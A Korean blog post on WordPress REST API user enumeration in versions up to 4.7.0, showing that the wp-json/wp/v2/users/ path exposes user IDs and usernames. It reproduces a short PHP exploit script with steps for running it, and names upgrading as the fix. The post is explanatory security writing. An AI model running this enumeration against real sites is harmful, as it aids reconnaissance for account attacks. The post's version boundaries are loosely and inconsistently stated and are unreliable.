위험한 취약점은 아닌데다가 사실 의미가 있는 정보를 가져올수 있는지도 딱히 모르겠긴 한데...
일단은 뭐 이런저런 정보 수집용으로 사용은 가능할 것 같다.

  • 사용가능 버전: Wordpress 4.7.0 이하 버전
  • Wordpress 4.7.0 이상의 버전에서는 취약한 기능만을 막아놓고 있다.. (다음포스팅에 소개할 Content Injection 등이 불가능)

워드프레스에서 기본적으로 제공하는 REST API가 있는데 그 API의 취약점을 이용한 익스플로잇이다.
(REST API에 대한 설명이 필요하다면... https://spoqa.github.io/2012/02/27/rest-introduction.html 참조)

아래는 기본으로 제공하는 API의 경로이다...
실제로 워드프레스를 설치하고 서버 웹루트에서 해당 경로를 찾아가면 존재하지 않는다.
그치만 접근하면 해당 정보 유무에 따라  json형태의 파일을 떨군다!



해당 취약점에 대해 이것저것 검색하면 아래와 같은 익스플로잇 코드가 있는데 사실 별의미 없다... 
깔끔하게 원하는 정보를 불러오겠다는 취지로 만든 파일이 아닐까 생각하지만 굳이 저렇게 파일을 업로드하고, 원하는 정보를 얻어올 정도로 중요한 정보를 가져오지도 않는다.
(아래 익스플로잇 코드를 사용하는 방법은:
    1. 해당 코드의 노란색 하이라이트된 부분을 주소에 맞게 변경한다. (기본설정)
    2. 수정한 코드를 워드프레스 웹루트에 저장한다.
    3. localhost/파일명.php로 접속
    4. 페이지에 json형태로 정보 출력


)

#!usr/bin/php
<?php
#Author: Mateus a.k.a Dctor
header ('Content-type: text/html; charset=UTF-8');
$payload="wp-json/wp/v2/users/";
$urli = file_get_contents($url.$payload);
$json = json_decode($urli, true);
if($json){
    echo "*-----------------------------*\n";
foreach($json as $users){
    echo "[*] ID :  |" .$users['id']     ."|\n";
    echo "[*] Name: |" .$users['name']   ."|\n";
    echo "[*] User :|" .$users['slug']   ."|\n";
    echo "\n";
}echo "*-----------------------------*";}
else{echo "[*] No user";}
?>

다시 말하지만 굳이 사용할 이유가 없는 익스플로잇 코드이다...

그냥 위에 첨부한 표에 있는 경로에 접속하면 원하는 정보 다 불러온다
예를 들어, 위와 같은 정보를 얻어오려면 http://localhost/wordpress/wp-json/wp/v2/users/ 로 접근하면 아래와 같은 json형식의 파일을 다운로드하라고 한다. 
그냥 다운받아서  메모장으로 열어보면 아래와 같이 admin 이라고 사용자 정보 노출...



같은 방법으로 게시물의 정보를 알아오거나 수정한 정보 등... 그냥 간단한 정보 수집용 데이터들을 다운받거나 열람할 수 있다.

- 대응책: 버전 업그레이드하면됨! 4.7.0 이상 버전이면 취약점 없음!!

이게 끝임...ㅡ.ㅡ



+ Recent posts